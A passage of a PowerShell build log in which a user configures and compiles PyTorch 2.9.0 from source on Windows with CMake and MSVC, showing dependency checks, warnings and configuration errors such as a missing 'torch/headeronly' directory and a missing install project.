psapi;shell32;user32;advapi32;bcrypt -- Build targets : static -- -- don't use NUMA -- Looking for backtrace -- Looking for backtrace - not found -- Could NOT find Backtrace (missing: Backtrace_LIBRARY Backtrace_INCLUDE_DIR) -- headers outputs: torch\csrc\inductor\aoti_torch\generated\c_shim_cuda.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_cpu.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_aten.h not found -- sources outputs: -- declarations_yaml outputs: -- Performing Test COMPILER_SUPPORTS_NO_AVX256_SPLIT -- Performing Test COMPILER_SUPPORTS_NO_AVX256_SPLIT - Failed -- Using ATen parallel backend: OMP -- Check size of long double -- Check size of long double - done -- Performing Test COMPILER_SUPPORTS_FLOAT128 -- Performing Test COMPILER_SUPPORTS_FLOAT128 - Failed -- Found OpenMP_C: -openmp:experimental (found version "2.0") -- Found OpenMP_CXX: -openmp:experimental (found version "2.0") -- Found OpenMP: TRUE (found version "2.0") -- Performing Test COMPILER_SUPPORTS_OPENMP -- Performing Test COMPILER_SUPPORTS_OPENMP - Success -- Performing Test COMPILER_SUPPORTS_OMP_SIMD -- Performing Test COMPILER_SUPPORTS_OMP_SIMD - Failed -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES - Failed -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH - Failed -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM -- Performing Test COMPILER_SUPPORTS_SYS_GETRANDOM - Failed -- Configuring build for SLEEF-v3.8.0 -- Using option `/D_CRT_SECURE_NO_WARNINGS /D_CRT_NONSTDC_NO_DEPRECATE ` to compile libsleef -- Building shared libs : OFF -- Building static test bins: OFF -- MPFR : LIB_MPFR-NOTFOUND -- GMP : LIBGMP-NOTFOUND -- RT : -- FFTW3 : LIBFFTW3-NOTFOUND -- OPENSSL : -- SDE : SDE_COMMAND-NOTFOUND -- COMPILER_SUPPORTS_OPENMP : FALSE -- -- ******** Summary ******** -- General: -- CMake version : 4.1.0 -- CMake command : E:/Python310/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler id : MSVC -- C++ compiler version : 19.44.35215.0 -- Using ccache if found : OFF -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /MP /bigobj /FS /utf-8 -DNDEBUG -DUSE_KINETO -DLIBKINETO_NOCUPTI -DLIBKINETO_NOROCTRACER -DLIBKINETO_NOXPUPTI=ON -DSYMBOLICATE_MOBILE_DEBUG_HANDLE /wd4624 /wd4068 /wd4067 /wd4267 /wd4661 /wd4717 /wd4244 /wd4804 /wd4273 -- Shared LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Static LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Module LD flags : /machine:x64 /ignore:4049 /ignore:4217 /ignore:4099 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1;ONNX_NAMESPACE=onnx_torch;_CRT_SECURE_NO_DEPRECATE=1;USE_EXTERNAL_MZCRC;MINIZ_DISABLE_ZIP_READER_CRC32_CHECKS;EXPORT_AOTI_FUNCTIONS;WIN32_LEAN_AND_MEAN;_UCRT_LEGACY_INFINITY;NOMINMAX;USE_MIMALLOC -- CMAKE_PREFIX_PATH : -- CMAKE_INSTALL_PREFIX : C:/Program Files (x86)/Torch -- USE_GOLD_LINKER : OFF -- -- TORCH_VERSION : 2.9.0 -- BUILD_STATIC_RUNTIME_BENCHMARK: OFF -- BUILD_BINARY : OFF -- BUILD_CUSTOM_PROTOBUF : ON -- Link local protobuf : ON -- BUILD_PYTHON : ON -- Python version : 3.10.10 -- Python executable : E:/Python310/python.exe -- Python library : E:/Python310/libs/python310.lib -- Python includes : E:/Python310/include -- Python site-package : E:\Python310\Lib\site-packages -- BUILD_SHARED_LIBS : ON -- CAFFE2_USE_MSVC_STATIC_RUNTIME : OFF -- BUILD_TEST : OFF -- BUILD_JNI : OFF -- BUILD_MOBILE_AUTOGRAD : OFF -- BUILD_LITE_INTERPRETER: OFF -- INTERN_BUILD_MOBILE : -- TRACING_BASED : OFF -- USE_BLAS : 0 -- USE_LAPACK : 0 -- USE_ASAN : OFF -- USE_TSAN : OFF -- USE_CPP_CODE_COVERAGE : OFF -- USE_CUDA : OFF -- USE_XPU : OFF -- USE_ROCM : OFF -- BUILD_NVFUSER : -- USE_EIGEN_FOR_BLAS : ON -- USE_EIGEN_FOR_SPARSE : OFF -- USE_FBGEMM : OFF -- USE_KINETO : ON -- USE_GFLAGS : OFF -- USE_GLOG : OFF -- USE_LITE_PROTO : OFF -- USE_PYTORCH_METAL : OFF -- USE_PYTORCH_METAL_EXPORT : OFF -- USE_MPS : OFF -- CAN_COMPILE_METAL : -- USE_MKL : OFF -- USE_MKLDNN : OFF -- USE_UCC : OFF -- USE_ITT : OFF -- USE_XCCL : OFF -- USE_NCCL : OFF -- Found NVSHMEM : -- USE_NNPACK : OFF -- USE_NUMPY : ON -- USE_OBSERVERS : ON -- USE_OPENCL : OFF -- USE_OPENMP : ON -- USE_MIMALLOC : ON -- USE_MIMALLOC_ON_MKL : OFF -- USE_VULKAN : OFF -- USE_PROF : OFF -- USE_PYTORCH_QNNPACK : OFF -- USE_XNNPACK : OFF -- USE_DISTRIBUTED : OFF -- Public Dependencies : -- Private Dependencies : Threads::Threads;cpuinfo;fp16;caffe2::openmp;fmt::fmt-header-only;kineto -- Public CUDA Deps. : -- Private CUDA Deps. : -- USE_COREML_DELEGATE : OFF -- BUILD_LAZY_TS_BACKEND : ON -- USE_ROCM_KERNEL_ASSERT : OFF -- Performing Test HAS_WMISSING_PROTOTYPES -- Performing Test HAS_WMISSING_PROTOTYPES - Failed -- Performing Test HAS_WERROR_MISSING_PROTOTYPES -- Performing Test HAS_WERROR_MISSING_PROTOTYPES - Failed -- Configuring incomplete, errors occurred! (.venv) PS E:\PyTorch_Build\pytorch\build> (.venv) PS E:\PyTorch_Build\pytorch\build> # 5. 编译和安装 (.venv) PS E:\PyTorch_Build\pytorch\build> cmake --build . --config Release --target install -j 8 2>&1 | Tee-Object -FilePath "$buildDir\cmake_build.log" 閫傜敤浜?.NET Framework MSBuild 鐗堟湰 17.14.19+164abd434 MSBUILD : error MSB1009: 椤圭洰鏂囦欢涓嶅瓨鍦ㄣ€? 寮€鍏?install.vcxproj (.venv) PS E:\PyTorch_Build\pytorch\build> (.venv) PS E:\PyTorch_Build\pytorch\build> # 6. 安装 Python 绑定 (.venv) PS E:\PyTorch_Build\pytorch\build> Set-Location $sourceDir (.venv) PS E:\PyTorch_Build\pytorch> & "E:\Python310\python.exe" setup.py develop --cmake --no-deps Building wheel torch-2.9.0a0+git2d31c3d -- Building version 2.9.0a0+git2d31c3d -- Checkout nccl release tag: v2.27.5-1 cmake -GVisual Studio 17 2022 -Ax64 -Thost=x64 -DBUILD_ONLY_CORE=1 -DBUILD_PYTHON=True -DBUILD_SHARED_LIBS=OFF -DBUILD_TEST=True -DBUILD_TORCH=1 -DCMAKE_BUILD_TYPE=Release -DCMAKE_EXE_LINKER_FLAGS=-static -DCMAKE_GENERATOR=Visual Studio 17 2022 -DCMAKE_INSTALL_PREFIX=E:\PyTorch_Build\pytorch\torch -DCMAKE_PREFIX_PATH=E:\Python310\Lib\site-packages -DCMAKE_TOOLCHAIN_FILE=E:\PyTorch_Build\pytorch\cmake\modules\win_toolchain.cmake -DPython_EXECUTABLE=E:\Python310\python.exe -DPython_NumPy_INCLUDE_DIR=E:\Python310\lib\site-packages\numpy\core\include -DTORCH_BUILD_VERSION=2.9.0a0+git2d31c3d -DUSE_NINJA=0 -DUSE_NUMPY=True -DUSE_STATIC_CUDNN=ON -DUSE_STATIC_NCCL=ON -DUSE_STATIC_OPENMP=ON E:\PyTorch_Build\pytorch CMake Deprecation Warning at CMakeLists.txt:18 (cmake_policy): The OLD behavior for policy CMP0126 will be removed from a future version of CMake. The cmake-policies(7) manual explains that the OLD behaviors of all policies are deprecated and that a policy should be set to OLD only under specific short-term circumstances. Projects should be ported to the NEW behavior and not rely on setting a policy to OLD. -- Selecting Windows SDK version 10.0.26100.0 to target Windows . -- The CXX compiler identification is MSVC 19.44.35215.0 -- The C compiler identification is MSVC 19.44.35215.0 -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Check for working CXX compiler: C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting CXX compile features -- Detecting CXX compile features - done -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Check for working C compiler: C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe - skipped -- Detecting C compile features -- Detecting C compile features - done -- Not forcing any particular BLAS to be found CMake Warning at CMakeLists.txt:425 (message): TensorPipe cannot be used on Windows. Set it to OFF CMake Warning at CMakeLists.txt:427 (message): KleidiAI cannot be used on Windows. Set it to OFF CMake Warning at CMakeLists.txt:439 (message): Libuv is not installed in current conda env. Set USE_DISTRIBUTED to OFF. Please run command 'conda install -c conda-forge libuv=1.39' to install libuv. -- Performing Test C_HAS_AVX_1 -- Performing Test C_HAS_AVX_1 - Success -- Performing Test C_HAS_AVX2_1 -- Performing Test C_HAS_AVX2_1 - Success -- Performing Test C_HAS_AVX512_1 -- Performing Test C_HAS_AVX512_1 - Success -- Performing Test CXX_HAS_AVX_1 -- Performing Test CXX_HAS_AVX_1 - Success -- Performing Test CXX_HAS_AVX2_1 -- Performing Test CXX_HAS_AVX2_1 - Success -- Performing Test CXX_HAS_AVX512_1 -- Performing Test CXX_HAS_AVX512_1 - Success -- Current compiler supports avx2 extension. Will build perfkernels. -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_VISIBILITY - Failed -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY -- Performing Test COMPILER_SUPPORTS_HIDDEN_INLINE_VISIBILITY - Failed -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- Compiler does not support SVE extension. Will not build perfkernels. CMake Warning at CMakeLists.txt:845 (message): x64 operating system is required for FBGEMM. Not compiling with FBGEMM. Turn this warning off by USE_FBGEMM=OFF. -- Performing Test HAS/UTF_8 -- Performing Test HAS/UTF_8 - Success -- Could NOT find CUDA (missing: CUDA_TOOLKIT_ROOT_DIR) (found version "13.0") CMake Warning at cmake/public/cuda.cmake:31 (message): PyTorch: CUDA cannot be found. Depending on whether you are building PyTorch or a PyTorch dependent library, the next warning / error will give you more info. Call Stack (most recent call first): cmake/Dependencies.cmake:44 (include) CMakeLists.txt:873 (include) CMake Warning at cmake/Dependencies.cmake:76 (message): Not compiling with CUDA. Suppress this warning with -DUSE_CUDA=OFF. Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Warning at cmake/Dependencies.cmake:95 (message): Not compiling with XPU. Could NOT find SYCL. Suppress this warning with -DUSE_XPU=OFF. Call Stack (most recent call first): CMakeLists.txt:873 (include) -- Building using own protobuf under third_party per request. -- Use custom protobuf build. CMake Warning at cmake/ProtoBuf.cmake:37 (message): Ancient protobuf forces CMake compatibility Call Stack (most recent call first): cmake/ProtoBuf.cmake:87 (custom_protobuf_find) cmake/Dependencies.cmake:107 (include) CMakeLists.txt:873 (include) CMake Deprecation Warning at third_party/protobuf/cmake/CMakeLists.txt:2 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- -- 3.13.0.0 -- Performing Test CMAKE_HAVE_LIBC_PTHREAD -- Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed -- Looking for pthread_create in pthreads -- Looking for pthread_create in pthreads - not found -- Looking for pthread_create in pthread -- Looking for pthread_create in pthread - not found -- Found Threads: TRUE -- Caffe2 protobuf include directory: $<BUILD_INTERFACE:E:/PyTorch_Build/pytorch/third_party/protobuf/src>$<INSTALL_INTERFACE:include> -- Trying to find preferred BLAS backend of choice: MKL -- MKL_THREADING = OMP -- Looking for sys/types.h -- Looking for sys/types.h - found -- Looking for stdint.h -- Looking for stdint.h - found -- Looking for stddef.h -- Looking for stddef.h - found -- Check size of void* -- Check size of void* - done -- MKL_THREADING = OMP CMake Warning at cmake/Dependencies.cmake:213 (message): MKL could not be found. Defaulting to Eigen Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Warning at cmake/Dependencies.cmake:279 (message): Preferred BLAS (MKL) cannot be found, now searching for a general BLAS library Call Stack (most recent call first): CMakeLists.txt:873 (include) -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Looking for sgemm_ -- Looking for sgemm_ - not found -- Cannot find a library with BLAS API. Not using BLAS. -- Using pocketfft in directory: E:/PyTorch_Build/pytorch/third_party/pocketfft/ CMake Warning at cmake/Dependencies.cmake:351 (message): Target architecture "" is not supported in {Q/X}NNPACK. Supported architectures are x86, x86-64, ARM, and ARM64. Turn this warning off by USE_{Q/X}NNPACK=OFF. Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Deprecation Warning at third_party/cpuinfo/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Warning at third_party/cpuinfo/CMakeLists.txt:93 (MESSAGE): Target processor architecture is not specified. cpuinfo will compile, but cpuinfo_initialize() will always fail. -- Found Git: E:/Program Files/Git/cmd/git.exe (found version "2.51.0.windows.1") -- Google Benchmark version: v1.9.3, normalized to 1.9.3 -- Looking for shm_open in rt -- Looking for shm_open in rt - not found -- Performing Test HAVE_CXX_FLAG_WX -- Performing Test HAVE_CXX_FLAG_WX - Success -- Cross-compiling to test HAVE_STD_REGEX CMake Warning at third_party/benchmark/cmake/CXXFeatureCheck.cmake:49 (message): If you see build failures due to cross compilation, try setting HAVE_STD_REGEX to 0 Call Stack (most recent call first): third_party/benchmark/CMakeLists.txt:311 (cxx_feature_check) -- Performing Test HAVE_STD_REGEX -- success -- Cross-compiling to test HAVE_GNU_POSIX_REGEX -- Performing Test HAVE_GNU_POSIX_REGEX -- failed to compile -- Cross-compiling to test HAVE_POSIX_REGEX -- Performing Test HAVE_POSIX_REGEX -- failed to compile -- Cross-compiling to test HAVE_STEADY_CLOCK CMake Warning at third_party/benchmark/cmake/CXXFeatureCheck.cmake:49 (message): If you see build failures due to cross compilation, try setting HAVE_STEADY_CLOCK to 0 Call Stack (most recent call first): third_party/benchmark/CMakeLists.txt:322 (cxx_feature_check) -- Performing Test HAVE_STEADY_CLOCK -- success -- Cross-compiling to test HAVE_PTHREAD_AFFINITY -- Performing Test HAVE_PTHREAD_AFFINITY -- failed to compile CMake Warning at cmake/Dependencies.cmake:749 (message): FP16 is only cmake-2.8 compatible Call Stack (most recent call first): CMakeLists.txt:873 (include) CMake Deprecation Warning at third_party/FP16/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Deprecation Warning at third_party/psimd/CMakeLists.txt:1 (CMAKE_MINIMUM_REQUIRED): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. -- Using third party subdirectory Eigen. -- Found Python: E:\Python310\python.exe (found version "3.10.10") found components: Interpreter Development.Module NumPy -- Using third_party/pybind11. -- pybind11 include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/pybind11/include -- Could NOT find OpenTelemetryApi (missing: OpenTelemetryApi_INCLUDE_DIRS) -- Using third_party/opentelemetry-cpp. -- opentelemetry api include dirs: E:/PyTorch_Build/pytorch/cmake/../third_party/opentelemetry-cpp/api/include -- Could NOT find MPI_C (missing: MPI_C_LIB_NAMES MPI_C_HEADER_DIR MPI_C_WORKS) -- Could NOT find MPI_CXX (missing: MPI_CXX_LIB_NAMES MPI_CXX_HEADER_DIR MPI_CXX_WORKS) -- Could NOT find MPI (missing: MPI_C_FOUND MPI_CXX_FOUND) CMake Warning at cmake/Dependencies.cmake:894 (message): Not compiling with MPI. Suppress this warning with -DUSE_MPI=OFF Call Stack (most recent call first): CMakeLists.txt:873 (include) -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- MKL_THREADING = OMP -- Check OMP with lib C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib and flags -openmp:experimental -- Found OpenMP_C: -openmp:experimental -- Found OpenMP_CXX: -openmp:experimental -- Found OpenMP: TRUE -- Adding OpenMP CXX_FLAGS: -openmp:experimental -- Will link against OpenMP libraries: C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/lib/x64/libomp.lib -- Found nvtx3: E:/PyTorch_Build/pytorch/third_party/NVTX/c/include -- ROCM_PATH environment variable is not set and C:/opt/rocm does not exist. Building without ROCm support. -- Found Python3: E:\Python310\python.exe (found version "3.10.10") found components: Interpreter -- ONNX_PROTOC_EXECUTABLE: $<TARGET_FILE:protobuf::protoc> -- Protobuf_VERSION: Protobuf_VERSION_NOTFOUND Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx_onnx_torch-ml.proto Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx-operators_onnx_torch-ml.proto Generated: E:/PyTorch_Build/pytorch/build/third_party/onnx/onnx/onnx-data_onnx_torch.proto -- -- ******** Summary ******** -- CMake version : 4.1.0 -- CMake command : E:/Python310/Lib/site-packages/cmake/data/bin/cmake.exe -- System : Windows -- C++ compiler : C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- C++ compiler version : 19.44.35215.0 -- CXX flags : /DWIN32 /D_WINDOWS /EHsc /Zc:__cplusplus /MP /bigobj /FS /utf-8 /EHsc /wd26812 -- Build type : Release -- Compile definitions : ONNX_ML=1;ONNXIFI_ENABLE_EXT=1 -- CMAKE_PREFIX_PATH : E:\Python310\Lib\site-packages -- CMAKE_INSTALL_PREFIX : E:/PyTorch_Build/pytorch/torch -- CMAKE_MODULE_PATH : E:/PyTorch_Build/pytorch/cmake/Modules;E:/PyTorch_Build/pytorch/cmake/public/../Modules_CUDA_fix -- -- ONNX version : 1.18.0 -- ONNX NAMESPACE : onnx_torch -- ONNX_USE_LITE_PROTO : OFF -- USE_PROTOBUF_SHARED_LIBS : OFF -- ONNX_DISABLE_EXCEPTIONS : OFF -- ONNX_DISABLE_STATIC_REGISTRATION : OFF -- ONNX_WERROR : OFF -- ONNX_BUILD_TESTS : OFF -- BUILD_SHARED_LIBS : OFF -- -- Protobuf compiler : $<TARGET_FILE:protobuf::protoc> -- Protobuf includes : -- Protobuf libraries : -- ONNX_BUILD_PYTHON : OFF -- Found CUDA with FP16 support, compiling with torch.cuda.HalfTensor -- Adding -DNDEBUG to compile flags CMake Warning at cmake/Dependencies.cmake:1418 (message): Not compiling with MAGMA. Suppress this warning with -DUSE_MAGMA=OFF. Call Stack (most recent call first): CMakeLists.txt:873 (include) -- Could not find hardware support for NEON on this machine. -- No OMAP3 processor on this machine. -- No OMAP4 processor on this machine. -- MKL_THREADING = OMP -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core - libiomp5md] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_intel_thread - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_intel_thread - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_sequential - mkl_core] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_sequential - mkl_core] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - libiomp5md - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - libiomp5md - pthread] -- Library mkl_intel: not found -- Checking for [mkl_intel_lp64 - mkl_core - pthread] -- Library mkl_intel_lp64: not found -- Checking for [mkl_intel - mkl_core - pthread] -- Library mkl_intel: not found -- Checking for [mkl - guide - pthread - m] -- Library mkl: not found -- MKL library not found -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Checking for [Accelerate] -- Library Accelerate: BLAS_Accelerate_LIBRARY-NOTFOUND -- Checking for [vecLib] -- Library vecLib: BLAS_vecLib_LIBRARY-NOTFOUND -- Checking for [flexiblas] -- Library flexiblas: BLAS_flexiblas_LIBRARY-NOTFOUND -- Checking for [openblas] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [openblas - pthread - m - gomp] -- Library openblas: BLAS_openblas_LIBRARY-NOTFOUND -- Checking for [libopenblas] -- Library libopenblas: BLAS_libopenblas_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [goto2 - gfortran - pthread] -- Library goto2: BLAS_goto2_LIBRARY-NOTFOUND -- Checking for [acml - gfortran] -- Library acml: BLAS_acml_LIBRARY-NOTFOUND -- Checking for [blis] -- Library blis: BLAS_blis_LIBRARY-NOTFOUND -- Could NOT find Atlas (missing: Atlas_CBLAS_INCLUDE_DIR Atlas_CLAPACK_INCLUDE_DIR Atlas_CBLAS_LIBRARY Atlas_BLAS_LIBRARY Atlas_LAPACK_LIBRARY) -- Checking for [ptf77blas - atlas - gfortran] -- Library ptf77blas: BLAS_ptf77blas_LIBRARY-NOTFOUND -- Checking for [] -- Cannot find a library with BLAS API. Not using BLAS. -- LAPACK requires BLAS -- Cannot find a library with LAPACK API. Not using LAPACK. disabling CUDA because NOT USE_CUDA is set disabling ROCM because NOT USE_ROCM is set -- MIOpen not found. Compiling without MIOpen support disabling MKLDNN because USE_MKLDNN is not set -- {fmt} version: 11.2.0 -- Build type: Release -- Using CPU-only version of Kineto -- Configuring Kineto dependency: -- KINETO_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto -- KINETO_BUILD_TESTS = OFF -- KINETO_LIBRARY_TYPE = static CMake Deprecation Warning at third_party/kineto/libkineto/CMakeLists.txt:7 (cmake_minimum_required): Compatibility with CMake < 3.10 will be removed from a future version of CMake. Update the VERSION argument <min> value. Or, use the <min>...<max> syntax to tell CMake that the project requires at least <min> but has been updated to work with policies introduced by <max> or earlier. CMake Warning (dev) at third_party/kineto/libkineto/CMakeLists.txt:15 (find_package): Policy CMP0148 is not set: The FindPythonInterp and FindPythonLibs modules are removed. Run "cmake --help-policy CMP0148" for policy details. Use the cmake_policy command to set the policy and suppress this warning. This warning is for project developers. Use -Wno-dev to suppress it. -- Found PythonInterp: E:/Python310/python.exe (found version "3.10.10") -- CUDA_SOURCE_DIR = -- ROCM_SOURCE_DIR = -- CUPTI unavailable or disabled - not building GPU profilers -- Kineto: FMT_SOURCE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt -- Kineto: FMT_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/fmt/include -- CUPTI_INCLUDE_DIR = /extras/CUPTI/include -- ROCTRACER_INCLUDE_DIR = /include/roctracer -- DYNOLOG_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog/ -- IPCFABRIC_INCLUDE_DIR = E:/PyTorch_Build/pytorch/third_party/kineto/libkineto/third_party/dynolog//dynolog/src/ipcfabric/ -- Configured Kineto (CPU) -- Performing Test HAS/WD4624 -- Performing Test HAS/WD4624 - Success -- Performing Test HAS/WD4068 -- Performing Test HAS/WD4068 - Success -- Performing Test HAS/WD4067 -- Performing Test HAS/WD4067 - Success -- Performing Test HAS/WD4267 -- Performing Test HAS/WD4267 - Success -- Performing Test HAS/WD4661 -- Performing Test HAS/WD4661 - Success -- Performing Test HAS/WD4717 -- Performing Test HAS/WD4717 - Success -- Performing Test HAS/WD4244 -- Performing Test HAS/WD4244 - Success -- Performing Test HAS/WD4804 -- Performing Test HAS/WD4804 - Success -- Performing Test HAS/WD4273 -- Performing Test HAS/WD4273 - Success -- Performing Test HAS_WNO_STRINGOP_OVERFLOW -- Performing Test HAS_WNO_STRINGOP_OVERFLOW - Failed -- -- Note: when building with Visual Studio the build type is specified when building. -- For example: 'cmake --build . --config=Release -- Architecture: x64 -- Use the C++ compiler to compile (MI_USE_CXX=ON) -- -- Library name : mimalloc -- Version : 2.2.4 -- Build type : release -- C++ Compiler : C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.44.35207/bin/Hostx64/x64/cl.exe -- Compiler flags : /Zc:__cplusplus -- Compiler defines : MI_CMAKE_BUILD_TYPE=release;MI_BUILD_RELEASE -- Link libraries : psapi;shell32;user32;advapi32;bcrypt -- Build targets : static -- CMake Error at CMakeLists.txt:1264 (add_subdirectory): add_subdirectory given source "torch/headeronly" which is not an existing directory. -- don't use NUMA -- Looking for backtrace -- Looking for backtrace - not found -- Could NOT find Backtrace (missing: Backtrace_LIBRARY Backtrace_INCLUDE_DIR) -- headers outputs: torch\csrc\inductor\aoti_torch\generated\c_shim_cuda.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_cpu.h not found torch\csrc\inductor\aoti_torch\generated\c_shim_aten.h not found -- sources outputs: -- declarations_yaml outputs: -- Performing Test COMPILER_SUPPORTS_NO_AVX256_SPLIT -- Performing Test COMPILER_SUPPORTS_NO_AVX256_SPLIT - Failed -- Using ATen parallel backend: OMP disabling CUDA because USE_CUDA is set false -- Check size of long double -- Check size of long double - done -- Performing Test COMPILER_SUPPORTS_FLOAT128 -- Performing Test COMPILER_SUPPORTS_FLOAT128 - Failed -- Found OpenMP_C: -openmp:experimental (found version "2.0") -- Found OpenMP_CXX: -openmp:experimental (found version "2.0") -- Found OpenMP: TRUE (found version "2.0") -- Performing Test COMPILER_SUPPORTS_OPENMP -- Performing Test COMPILER_SUPPORTS_OPENMP - Success -- Performing Test COMPILER_SUPPORTS_OMP_SIMD -- Performing Test COMPILER_SUPPORTS_OMP_SIMD - Failed -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES -- Performing Test COMPILER_SUPPORTS_WEAK_ALIASES - Failed -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH -- Performing Test COMPILER_SUPPORTS_BUILTIN_MATH - 